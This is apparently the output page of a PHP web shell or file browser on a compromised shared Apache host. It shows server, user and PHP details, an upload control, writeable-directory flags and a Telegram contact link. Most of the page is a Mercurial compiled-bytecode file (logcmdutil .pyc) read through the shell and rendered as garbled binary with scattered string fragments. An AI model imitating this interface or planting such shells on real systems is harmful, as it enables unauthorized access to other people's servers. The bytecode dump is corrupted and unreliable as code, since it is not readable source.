https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/mercurial/__pycache__/logcmdutil.cpython-310.pyc
o

�]Lb��
@sPddlmZddlZddlZddlZddlmZddlmZm	Z	ddl
mZddlm
Z
mZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZddlm Z m!Z!ej"rudd	l#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)e$e%e&e'e)fD]Z*e*stJ�qnd
d�Z+dd
�Z,								dWdd�Z-Gdd�de.�Z/dd�Z0Gdd�de.�Z1Gdd�de1�Z2Gdd�de1�Z3dd�Z4dd�Z5dXd d!�Z6dYd"d#�Z7ej8Gd$d%�d%e.��Z9d&d'�Z:d(d)�Z;d*d+�Z<d,d-�Z=dZd/d0�Z>d1d2�Z?d[d3d4�Z@d5d6d7d8d9d:d;d<d=d>�	ZAd?d@�ZBdAdB�ZCdCdD�ZDdEdF�ZEdGdH�ZFdIdJ�ZGdKdL�ZHd\dMdN�ZIdOdP�ZJdQdR�ZKdSdT�ZLdUdV�ZMdS)]�)�absolute_importN�)�_)�nullrev�wdirrev)�attr)�dagop�error�	formatter�graphmod�match�mdiff�merge�patch�pathutil�pycompat�revset�
revsetlang�scmutil�smartset�
templatekw�	templater�util)�dateutil�
stringutil)�Any�Callable�Dict�Optional�Sequence�TuplecCsZ|�d�}|r)zt|�}Wntyt�td���w|dkr't�td���|Sd}|S)z0get the log limit according to option -l/--limitslimits limit must be a positive integerrslimit must be positiveN)�get�int�
ValueErrorr	�
InputErrorr)�opts�limit�r'�6/usr/lib/python3/dist-packages/mercurial/logcmdutil.py�getlimit:s
��r)c	Cs�|��}|j�dd�rg|����tkrgddlm}|�|�}|�	|�
��|j�ddid��/|j���t
j
|��|d�Wd	�n1sHwYWd	�|SWd	�|S1s`wY|S|�
�S)
z�get the context object to use as parent when diffing


    If diff.merge is enabled, an overlayworkingctx of the auto-merged parents will be returned.
    �diffsmerger)�context)�uis
forcemerges#internal:merge3-lie-about-conflictss
merge-diff)�wcN)�repo�ui�
configbool�p2�revr�r+�overlayworkingctx�setbase�p1�configoverride�silentr)�ctxr.r+�wctxr'r'r(�diff_parentIs,
��	�
��
��r;F�c!s�|r
t�|j|��|��nd�d}dd�}�fdd�}�dkrvtj|dd�}||���}�d	7�|��D]}|���sJ��t	d
�|||��|f�q4tj
|�gdd�}t�||�}|}|j
�d
d�pi|j
�d
d����fdd�}|||�}|r�|jddd�}d}���s����|	}�s�|t�|�|�}|j|||||||
d��|dus����r�|p��}|r�tjt���|d�g�t�t����D]}|�|�q�nC|r�tjt���|d��n
tjdd��|d�����r���fdd�}t�t�|���D]}��|�q�n�D]\}}�j||d��q|��}t�||�D]L\}}|}z|du�r+|j |d}Wnt!�y8d}Ynwt�"||�}|j#�$�|�} |�sV|�%|��sVt&|����rc|j�||||||| d��qdS) zshow diff or diffstat.r<Ncs��fdd�S)Ncs��|��S�Nr')�x��f�gr'r(�<lambda>~sz1diffordiffstat.<locals>.compose.<locals>.<lambda>r'r?r'r?r(�compose}�zdiffordiffstat.<locals>.composecst��|�Sr=)�	posixpath�join�r@)�prefixr'r(�pathfn�szdiffordiffstat.<locals>.pathfnT)�legacyrelativevalue�/s(warning: %s not inside relative root %s
spath)�pats�defaultsdevelsall-warningss
check-relrootcs.�r|���std|�f��|t��d�S)Ns%file %s doesn't start with relroot %s)�
startswith�AssertionError�lenrG)�	checkroot�relrootr'r(�
relrootpathfn�s

�z%diffordiffstat.<locals>.relrootpathfnrF)r+�noprefix�P)r%rI�copysourcematch�
hunksfilterfn)�widthc[s|Sr=r')�chunks�kwargsr'r'r(rB��z diffordiffstat.<locals>.<lambda>)r%c3s$��D]\}}�j||d�VqdS)N��labelr\)�chunkr])rYr/r'r(�gen�s��zdiffordiffstat.<locals>.genr\r)�changes�stat�fprH)'r�	canonpath�root�getcwdr�getuipathfn�filesrN�warnrr�matchmod�intersectmatchersr/r0�copy�plain�	termwidth�diff�canwritewithoutlabelsr�diffstatr�	iterlines�
filechunkiter�chunkbuffer�write�
diffstatui�	difflabel�canbatchlabeledwrites�node�itersubrepos�substate�KeyError�
subdirmatcher�wvfs�reljoin�exact�any)!r/r.�diffopts�ctx1�ctx2rr`rarb�
graphwidthrHrd�listsubreposrWrVrCrI�uipathfn�	uirelroot�	matchroot�relrootmatchrSrX�outr^r_r]�node2�subpath�sub�	tempnode2�submatch�	subprefixr')rQrYrHrRr/r(�diffordiffstatfs�
�����
�
�
��
�� ���r�c@s*eZdZdZdd�Zdd�Zddd	�Zd
S)�changesetdifferzBGenerate diff of changeset with pre-configured filtering functionscCst�|���Sr=)r�matchallr.��selfr9r'r'r(�_makefilematcher�rDz changesetdiffer._makefilematchercCsdSr=r'r�r'r'r(�_makehunksfilter��z changesetdiffer._makehunksfilterrFcCs2t||��|t|�||�|�|||�|�d�	dS)N)rrar�rW)r�r.r;r�r�)r�r/r9r�r�rar'r'r(�showdiff�s
�zchangesetdiffer.showdiffN)rF)�__name__�
__module__�__qualname__�__doc__r�r�r�r'r'r'r(r��s
r�cCsZdd|��g}|��r|�d�|��r(|�d�|��D]	}|�d|�qd�|�S)Ns
log.changesetschangeset.%sschangeset.obsoleteschangeset.unstablesinstability.%s� )�phasestr�obsolete�append�
isunstable�
instabilitiesrF)r9�labels�instabilityr'r'r(�changesetlabels�s


r�c@sVeZdZdZddd�Zdd�Zdd	�Zdd
d�Zdd
�Zdd�Z	dd�Z
ddd�ZdS)�changesetprinterz9show changeset information when templating not requested.NFcCsr||_||_||_|p
t�|_t�||�|_|o|�d�|_	|o$|�d�|_
i|_i|_d|_
d|_t��|_dS)Nsstatspatch)r/r.�bufferedr��_differr�diffallopts�	_diffoptsr!�_includestat�_includediff�header�hunk�
lastheader�footerr�
getlogcolumns�_columns)r�r/r.�differr�r�r'r'r(�__init__szchangesetprinter.__init__cCsl|��}||jvr |j|}||jkr||_|j�|�|j|=||jvr4|j�|j|�|j|=dSdSr=)r2r�r�r/rtr�)r�r9r2�hr'r'r(�flushs



�zchangesetprinter.flushcCs|jr|j�|j�dSdSr=)r�r/rt�r�r'r'r(�close&s�zchangesetprinter.closecKsVt�|�}|jr"|jjdd�|�|||�|j��|j|��<dS|�|||�dS)NT)�labeled)	r�byteskwargsr�r/�
pushbuffer�_show�	popbufferr�r2)r�r9�copies�propsr'r'r(�show*s
zchangesetprinter.showcCs�|��}|�dd�}|jjr|jjdt�|�dd�dS|j}|jj|dt�|�t|�d�|�	�}|dkrE|jj|d	|d
d�t
�|jj
�D]!\}}	|dkrUqL|	�
|j|�D]}
|jj|	j|
d|	jd�q\qL|jjr�|jj|d
|��dd�t�|j|�D]}d|��}|jj|dt�|�|d�q�|jjr�|��}
|
dur�|jjj}
t}n|jj�|
�}|jj|dt�|j||
�dd�|jj|d|��dd�|jj|dt�|���dd�|���r|��}|jj|dd� |�dd�n
|�!��r|�"|�|�#|�|jj�rE|�$��%|�}t&gd�|j'|j(|j)g�D]\}}|�rB|jj||d� |�dd��q,n|�*��r`|jj+�r`|jj|dd� |�*��dd�|�r~|jj+�r~dd �|D�}|jj|d!d� |�d"d�|�,�}|�r�|jj�r�t-|�.��D]\}}|jj|d#|t/�0|�fd$d��q�|�1��2�}|�r�|jj+�r�|jjt3d%�d&d�|jj|d&d�|j�d'�n|jj|d(|�4�dd)d�|j�d*�|�5||�dS)+�(show a single changeset or file revision�
graphwidthrs%s
slog.noder\N�	changesetsdefault�branchs
log.branchsbranchesslog.%ssphases	log.phaseslog.parent changeset.%s�parent�manifestsui.debug log.manifest�userslog.user�dateslog.datesinstabilitys, slog.instability)�filessfiles+sfiles-r�sui.debug log.filesr�sui.note log.filescSsg|]}d|�qS)s%s (%s)r'��.0�cr'r'r(�
<listcomp>��z*changesetprinter._show.<locals>.<listcomp>�copiessui.note log.copies�extrasui.debug log.extras
description:
sui.note log.descriptions

ssummaryslog.summary�
)6rxr!r/�quietrtr�formatchangeidr�r��branchr�	iteritemsr.�names�logfmt�	colorname�	debugflagr��meaningfulparents�manifestnode�
nodeconstants�wdiridr�manifestlogr2�
formatrevnode�userr�datestr�dater�r�rFr��_showobsfate�_exthookr6�status�zip�modified�added�removedrg�verbose�extra�sorted�itemsr�	escapestr�description�stripr�
splitlines�
_showpatch)r�r9r�r��
changenoder��columnsr��nsname�ns�name�pctxr]�mnode�mrevr�rg�key�valuer�r�r'r'r(r�3s������
���
�



����	��
�
��zchangesetprinter._showcCslt�|jj|j�}tj|jjdtj|d�}|�d|i���}|r2|D]}|jj	|j
d|dd�q"dSdS)Ns{join(obsfate, "
")}��defaults�	resources�ctxsobsoleteslog.obsfater\)r
�templateresourcesr.r/�
maketemplaterr�keywords�
renderdefaultr�rtr�)r�r9�tres�t�obsfate�obsfateliner'r'r(r��s ���zchangesetprinter._showobsfatecC�dS)z.empty method used by extension as a hook pointNr'r�r'r'r(r��r[zchangesetprinter._exthookrcCsx|jr|jj|j||j|dd�|jr|jr|j�d�|jr,|jj|j||j|dd�|js2|jr:|j�d�dSdS)NT�rar�F)r�r�r�r/r�r�rt)r�r9r�r'r'r(r��s���zchangesetprinter._showpatch�NNFr=)r)r�r�r�r�r�r�r�r�r�r�r�r�r'r'r'r(r�	s

	xr�c@s,eZdZdZ	d
dd�Zdd�Zdd	�ZdS)�changesetformatterz1Format changeset information by generic formatterNFcCs0t�||||||�tj||dd�|_||_dS)NT)�git)r�r�r�difffeatureoptsr��_fm)r�r/r.�fmr�r�r�r'r'r(r��s
zchangesetformatter.__init__cCs|j��dSr=)r�endr�r'r'r(r��rDzchangesetformatter.closecsl|j�����j|d��jt�|���t�|��d����}|j	j
r)|s)dS�j|��|��|�
���|���|���j|��dd��j|��dd��j�fdd�|��D�d	d�d
�|j	jsgd|vrw�j��|��ps|jjj�d�|j	jsd
|vr��j��|���d�|j	js�d|vs�d|vs�d|vr�|���|�}�j�j|jdd��j|jdd��j|j dd�d�|j	jo�|j	j!}|s�d|vr׈j�j|�"�dd�d�|r�|s�d|vr�j�j|p�iddd�d�|j#s�d|v�r|j	�$�|j%j&|j	||j'dd��j|j	�(�d�|j)�sd|v�r4|j	�$�|j%j&|j	||j'd d��j|j	�(�d!�dSdS)"r��r9)r2rxN�bookmark)r�stagcsg|]	}��|����qSr')�hexfuncrxr��rr'r(r���z,changesetformatter._show.<locals>.<listcomp>snode)r��phaser�r��desc�	bookmarks�tags�parentsr�)�manifestr�)r�smodifiedsadded�removedsfile)r�r�r�r�)rgr�snamessource)r�r��r�sdiffstatTr)rpr*F)rn)*r�	startitemr+�datar�intrevr�binnode�datahintr/r�r�r�r��
formatdater�r��
formatlistrrrr�r�r.r�r��
formatdictr�r6r�r�r�r�r�rgr�r�r�r�r�r�r�)r�r9r�r�r$rgr�r'rr(r��sl ��
�����

�zchangesetformatter._showr)r�r�r�r�r�r�r�r'r'r'r(r
�s
�r
cs4eZdZdZ	d
dd�Z�fdd�Zdd	�Z�ZS)�changesettemplateraformat changeset information.

    Note: there are a variety of convenience functions to build a
    changesettemplater for common cases. See functions such as:
    maketemplater, changesetdisplayer, buildcommittemplate, or other
    functions that use changesest_templater.
    NFcs<t�||||||�t�||�|_}tj|�tj|tjd�|_	t
��|_�j
|_dddd�j
�j
ddddddi|_�jrmd|jjd	f|jjd
f|jjdfg}|D]\}	}
|jD]}||
}|	rj||j	vrj||j|<qXqQn�fdd
�|j��D�}
t��|j	|
�}|j�|�|jdr�|j�|j	�|jdi��dSdS)N)r�r�cache�headerr<�footers	docheader�	docfooter�	separator)Tr<s_verboses_quiets_debugcsg|]	}|�jkr|�qSr')�ref)r��p��tmplspecr'r(r�Nrz/changesettemplater.__init__.<locals>.<listcomp>)r�r�r
r�_tresources�
loadtemplaterrr�defaulttemplr�	itertools�count�_counterr.�_tref�_parts�mapfiler/r�r�r��keys�templatepartsmap�updatert�render)r�r/r.r1r�r�r�r�	tmplmodes�mode�postfixr�cur�	partnames�mr'r0r(r�'sL�
�


�

���
 �zchangesettemplater.__init__csB|jdr|jsd|_|j|j�|jdi�7_tt|���S)Nr,r<)r9r�rr>�superr(r�r���	__class__r'r(r�Us

zchangesettemplater.closecCs"|��}||d<t|j�|d<}d|i|d<|�dd�}|jdr4|dkr4|j�|j�|jdi��|jdr\|j�|jd|�}|j	rN||j
|��<n|j|kr\||_|j�|�|j|j
}|j�|j�||��|�|�|�||�|jd	r�|js�|j�|jd	|�|_d
Sd
Sd
S)r�rsindexr�srevcacher�rr-r*r+N)rk�nextr7r!r9r/rtrr>r�r�r2r�r8r�r�r�)r�r9r�r��indexr�r�r�r'r'r(r�\s.



�zchangesettemplater._showr)r�r�r�r�r�r�r��
__classcell__r'r'rFr(r(s
�.r(cCs&|r|rJ�|rt�d|�St�|�S)Nr�)r
�mapfile_templatespec�literal_templatespec)�tmplr:r'r'r(�templatespecs
rNcCs�|s|s|�dd�}|rt�t�|��St�|�dd��}|sF|rF|}d}tj�	|�ds?t�
d|�p8t�
|�\}}|r?|}t�d||�St�|d|�S)	zqFind the template matching the given template spec or style

    See formatter.lookuptemplate() for details.
    �command-templates�logr,�styleNrsmap-cmdline.r�)
�configr
rLr�
unquotestringr�
expandpath�os�path�split�try_open_templaterK�lookuptemplate)r/rM�styler:rb�mapnamer'r'r(�_lookuptemplate�s$��r\cCst�|�}t||||d�S)zKCreate a changesettemplater from a literal template 'tmpl'
    byte-string.)r�)r
rLr()r/r.rMr��specr'r'r(r�s
rcCs�|||f}t||�d�|�d��}|jdvr&|�d|�}t|||g|�R�S|js8|js8|js8t||g|�R�St|||g|�R�S)a_show one changeset using template or regular display.

    Display format will be the first non-empty hit of:
    1. option 'template'
    2. option 'style'
    3. [command-templates] setting 'log'
    4. [ui] setting 'style'
    If all of these values are either the unset or the empty string,
    regular display via changesetprinter() is done.
    stemplaterQ>�cbor�jsonrP)	r\r!r.r
r
rMr:r�r()r/r.r%r�r��postargsr]rr'r'r(�changesetdisplayer�s

rac@seZdZdZe��Ze��Ze��Zeje�	e
�d�Zeje�	e
�d�Zejdd�Z
eje�	e
�d�Zejdd�Zejdd�Zeje�	e
�d�Zeje�	e
�d�Zeje�	e
�d�Zeje�	e
�d�Zejdd�Zejdd�Zejdd�Zejdd�Zejdd�ZdS)�walkoptszgOptions to configure a set of revisions and file matcher factory
    to scan revision/file history
    )rMNFrT)r�r�r�r�r�ibrLr%�revspec�Factory�listr�branchesr�r�	no_merges�only_merges�prune_ancestors�users�include_pats�exclude_pats�follow�force_changelog_traversal�filter_revisions_by_pats�sort_revisionsr&r'r'r'r(rb�s(rbc	Cs.|�d�rd}n
|�d�rd}nd}|�d�r#|�dd�r d	}nd
}nd}td*id|�d
|�d|�dg��d|�dg��d|�dg�|�dg��d|�d��d|�dg��dt|�d���dt|�d���d|�dg��d|�d g��d!|�d"g��d#|�d$g��d%|�d&t|�d'���d(|�d)t|���S)+zwParse log command options into walkopts

    The returned walkopts will be passed in to getrevs() or makewalker().
    sfollow_firstrsfollow�r�graph�experimentalslog.topo�topo�descNrLr%rdsrevrrrgr�sonly_branchr�r�r�keywordrh�	no_mergesri�only_mergesrj�prunerkr�rlsincludermsexcludernrorrqr&r')r!r0rb�boolr))r/rLr%rnrqr'r'r(�	parseopts�sZ


�����
�	�
���
�������r|c
sf�d}t�||j|j�\}}|��p|��o|j}|s�|jrV|jrV�fdd�|D�}|�	�D]$}d}	|D]}
||
vr?d}	q6|
�
|�rHd}	}q6|	sTt�t
d�|��q0nD|jr�|�	�D]+}||vrxtj���|��rod}q]t�t
d�|����|�}|s�t�t
d�|��q]n|�	�D]}��|�}|s�d}q�|r�|�	�D]}|r�|�jvr�nq�d}|||fS)	a^Build matcher and expanded patterns from log options

    If --follow, revs are the revisions to follow from.

    Returns (match, pats, slowpath) where
    - match: a matcher built from the given pats and -I/-X opts
    - pats: patterns used (globs are expanded on Windows)
    - slowpath: True if patterns aren't as simple as scanning filelogs
    Ncsg|]}�|�qSr'r')r��r�r.r'r(r�7r�z _makematcher.<locals>.<listcomp>FTs>cannot follow file not in any of the specified revisions: "%s"�/cannot follow file not in parent revision: "%s"s$cannot follow nonexistent file: "%s")r�matchandpatsrLr%�anypats�alwaysrornrdrg�hasdirr	�
StateErrorrrUrV�exists�wjoin�file�store)
r.�revs�woptsr:rrL�slowpath�	startctxsr@�foundr��filelogrVr'r~r(�_makematcherst�
���������

���
��
r�csjg�|D]}�|����fdd���|�D��qi���fdd�}���fdd�}tj|�dd�|fS)	Nc3s�|]	}�|��VqdSr=)�introfilectx)r�r@rr'r(�	<genexpr>zs�z!_fileancestors.<locals>.<genexpr>cst����t�|�g��Sr=)r�
matchfilesr!r"r)�fcacher.r'r(�filematcher�sz#_fileancestors.<locals>.filematcherc3s6�tj��d�D]\}}dd�|D��|<|VqdS)N��followfirstcSsg|]}|���qSr')rVr�r'r'r(r��r�z2_fileancestors.<locals>.revgen.<locals>.<listcomp>)r�filectxancestors)r2�cs)r��fctxsr�r'r(�revgen�s
��z_fileancestors.<locals>.revgenF)�iterasc)�extend�walkr�generatorset)r.r�rr�r}r�r�r')r9r�r�r�r.r(�_fileancestorsvs r�cCr
)zDhook for extensions to override the filematcher for non-follow casesNr')r.rLr%r'r'r(�_makenofollowfilematcher�sr��.c
CsDz	t�||||�WStjy!}ztj|jd|jd��d}~ww)z�Resolves user-provided revset(s) into a single revision.

    This just wraps the lower-level scmutil.revsingle() in order to raise an
    exception indicating user error.
    r��hintN)r�	revsingler	�RepoLookupErrorr$�argsr�)r.rdrM�
localalias�er'r'r(r��s��r�c
Cs@zt�||�WStjy}ztj|jd|jd��d}~ww)z�Resolves user-provided revset(s) into two revisions.

    This just wraps the lower-level scmutil.revpair() in order to raise an
    exception indicating user error.
    rr�N)r�revpairr	r�r$r�r�)r.r�r�r'r'r(r��s��r�c
CsBzt�|||�WStjy }ztj|jd|jd��d}~ww)z�Resolves user-provided revset(s).

    This just wraps the lower-level scmutil.revrange() in order to raise an
    exception indicating user error.
    rr�N)r�revranger	r�r$r�r�)r.�specsr�r�r'r'r(r��s��r�)snot merge()N)smerge()N)Ns_matchfiles(%ps))sdate(%s)N)s
branch(%s)�%lr)sfilelog(%s)r�)skeyword(%s)r�)s
ancestors(%s)snot %lr)suser(%s)r�)	rxry�_matchfilesr�r��_patslogrwrzr�c
s��fdd�|jD�|j|j|j|j|jdd�|jD�d�}|jrR|rRddg}|jD]	}|�	d|�q)|j
D]	}|�	d|�q6|jD]	}|�	d	|�qC||d
<n
|jr_|js_t
|j�|d<g}tt�|��D]9\}}|soqht|\�}	�r�d�vr�|�	��qh|	s�|�	t��|��qh�r��fd
d�|D�}|�	t�|	|��qh|jr�|�	t�ddd�|jD���|r�dd�|�d}|Sd}|S)z?Return a revset string built from log options and file patternscsg|]	}d��|��qS�sliteral:)�lookupbranch)r��br~r'r(r��rz_makerevset.<locals>.<listcomp>cSsg|]}d|�qSr�r'�r��vr'r'r(r��r�)r�r�rwrxryrzr�sr:s	d:relpathsp:si:sx:r�r��%csg|]}t��|��qSr')r�
formatspecr�)�revopr'r(r��sr�cSsg|]}t�|��qSr')r�format_bookmark_revspecr�r'r'r(r��s�(s and �)N)rgr�rrhrirjrkrprLr�rlrmrnrfr�rr��_opt2logrevsetrr�rrF)
r.r�r�r%�	matchargsr/�expr�op�val�listopr')r.r�r(�_makerevset�sV�





���r�cCsb|jrt||j�}|S|jr|j��|jkrt��}|S|jr&|�d�}|St�	|�}|�
�|S)z>Return the initial set of revisions to be filtered or followedr�)rdr�rn�dirstater6�nullidr�basesetr��spanset�reverse)r.r�r�r'r'r(�_initialrevs�s��

�r�cslt||�}|s
t��dfSt|||�\�}}tj||d�}d}|jrJ|s(���r4tj	|||jdkd�}n|j
r9J�t||�|jdkd�\}}|��|durVt
||j|j�}|dur`�fdd�}t|||�}|jr�|jdvspJ�|jdkr�|��s�t�||jj�}tjt|�d	d
�}n|��s�|��s�|jd	d�|r�t�d|�}|||�}|jdur�|�d|j�}||fS)
z�Build (revs, makefilematcher) to scan revision/file history

    - revs is the smartset to be traversed.
    - makefilematcher is a function to map ctx to a matcher for that revision
    N)rLrr�cs�Sr=r'r�rr'r(r�)r�zmakewalker.<locals>.filematcher>rvruruT)�istopo�r�r)r�rr�r�r�evolvernr�r�revancestorsror�r�r�rLr%r�rqr��toposort�	changelog�
parentrevsrrf�isdescending�sortrr&�slice)r.r�r�rLr�r�r��matcherr'r�r(�
makewalker
sD


�
�

r�cCs.t||�\}}|s
|dfSt�}||_||fS)zvReturn (revs, differ) where revs is a smartset

    differ is a changesetdiffer with pre-configured file matcher.
    N)r�r�r�)r.r�r�r�r�r'r'r(�getrevs@sr�c		Cs�g}|�dg�D]S}z
|�dd�\}}Wnty$t�td�|��wztt|�d��\}}WntyAt�td�|��wtd�|}t	�
|d||�}|�|t�
||�f�q|S)	zbParse --line-range log option and return a list of tuples (filename,
    (fromline, toline)).
    s
line_range�,rs"malformatted line-range pattern %s�:sinvalid line range for %ss3line range pattern '%s' must match exactly one fileN)r!�rsplitr#r	r$r�mapr"rWr�parsefollowlinespatternr�r�processlinerange)	r.r%�linerangebyfname�pat�	linerange�fromline�toline�msg�fnamer'r'r(�_parselinerangeoptNs(
����r�cs��d}i�t�|�D]B\}\}}||vrt�td�|��|�|�}t�|||�D]"\}}|��}	|	dur8t}	|	|vr=q*��	|	i��	|�
�g��|�q*qdd����fdd�}
��fdd�}t�d	d
�}t
�}
||
_|
|
_t�|�|
fS)aReturn (revs, differ).

    "revs" are revisions obtained by processing "line-range" log options and
    walking block ancestors of each specified file/line-range.

    "differ" is a changesetdiffer with pre-configured file matcher and hunks
    filter.
    NrcSs|Sr=r')�fctx�hunksr'r'r(�nofilterhunksfn�r�z)getlinerangerevs.<locals>.nofilterhunksfncs,��t�|����dur�S�fdd�}|S)Nc3sr���|���}|dur/|D]\�}�dur�|fVqt�fdd�|D��r,�|fVqdS|D]}|Vq1dS)Nc3s$�|]
}t��dd�|�VqdS)rrN)r
�hunkinrange)r��lr��hrr'r(r��s�"zJgetlinerangerevs.<locals>.hunksfilter.<locals>.filterfn.<locals>.<genexpr>)r!rVr�)r�r��
lineranges�linesr���fctxlinerangesr�r(�filterfn�s�

���z7getlinerangerevs.<locals>.hunksfilter.<locals>.filterfn)r!rr")r9r�)�linerangesbyrevr�r�r(�hunksfilter�s

z%getlinerangerevs.<locals>.hunksfiltercs"t��t�|�g��}t��|�Sr=)rfr!rr"r�)r9rg)r�r.r'r(r��sz%getlinerangerevs.<locals>.filematcherTr�)r�r	r�r�filectxr�blockancestors�introrevr�
setdefaultrVr�r�r�r�r�rr�)r.�userrevsr%r:r�r�r�r�r�r2r�r�r�r�r')r�r�r.r(�getlinerangerevsfs6	
�
�
�
r�cs`|�dd�}|stjSt�|�}t|t�r|j}nt�	|�}tj
||tj|d���fdd�}|S)NrOs	graphnoder�cs||d�}��|�S)N)rsrepo)r)r.r9r)r���templr'r(�
formatnode�s

z'_graphnodeformatter.<locals>.formatnode)rRr�getgraphnoderrS�
isinstancer(r2r
rrr)r/�	displayerr]rr�r'r�r(�_graphnodeformatter�s



�r�c
Cst|pi}t||�}t��}|j}	|�d�r|	�t�|	d��n.tjtj	tj
d�}
|
��D]\}}|�dd||	|�|	|<|	|sEd|	|<q,|�
dd�|_i}
|D]b\}}}}||||
�}|rc||�nd}||||||�}t|�}|d}|j|f||d�t�|���|j�|��d	�}|d
s�|d
=|�|�t�|g|�D]\}}}}t�||||||�g}q�qQ|��dS)Nrs�|)r�sgrandparentsmissingrts
graphstyle.%ssgraphshortenrr)r�r�r����)r�r�
asciistate�stylesrlr=�dict�fromkeys�PARENT�GRANDPARENT�
MISSINGPARENTr�rRr0�graphshortenrHr�r�	strkwargsr��poprWr�r5�chain�asciir�)r/r.�dagr��edgefn�	getcopiesr�r��stater�	edgetypesr�r��formatnode_cacher2�typer9r�charr��edges�	firstedgerXr��coldatar'r'r(�displaygraph�sR

������
�rcCs$t�||�}t||||tj|�dSr=)r�	dagwalkerr�
asciiedges)r/r.r�r��
getrenamed�revdagr'r'r(�displaygraphrevs�srcCsF|D]}||}|r||�nd}|j||d�|�|�q|��dS)Nr)r�r�r�)r/r.r�r�rr2r9r�r'r'r(�displayrevs�srcCs8dD]}||vr||rt�td�|�dd���qdS)N)snewest_firsts+-G/--graph option is incompatible with --%s�_�-)r	r$r�replace)rLr%r�r'r'r(�checkunsupportedgraphflags�s
����r!cCs0t|�}|��|dur|d|�}t�||�Sr=)r)r�r�nodes)r.r"r%r&r'r'r(�	graphrevss
r#)NFNrr<r<FN)F)NF)r�Nr=)NN)N�
__future__rr5rUrE�i18nrrxrr�
thirdpartyrr3rr	r
rrrir
rrrrrrrrrrr�utilsrr�
TYPE_CHECKING�typingrrrrrr rr)r;r��objectr�r�r�r
r(rNr\rra�srbr|r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrr!r#r'r'r'r(�<module>s�L 	
$
�GMc

-,W


�
;3@
/		

https://t.me/RX1948 - 2025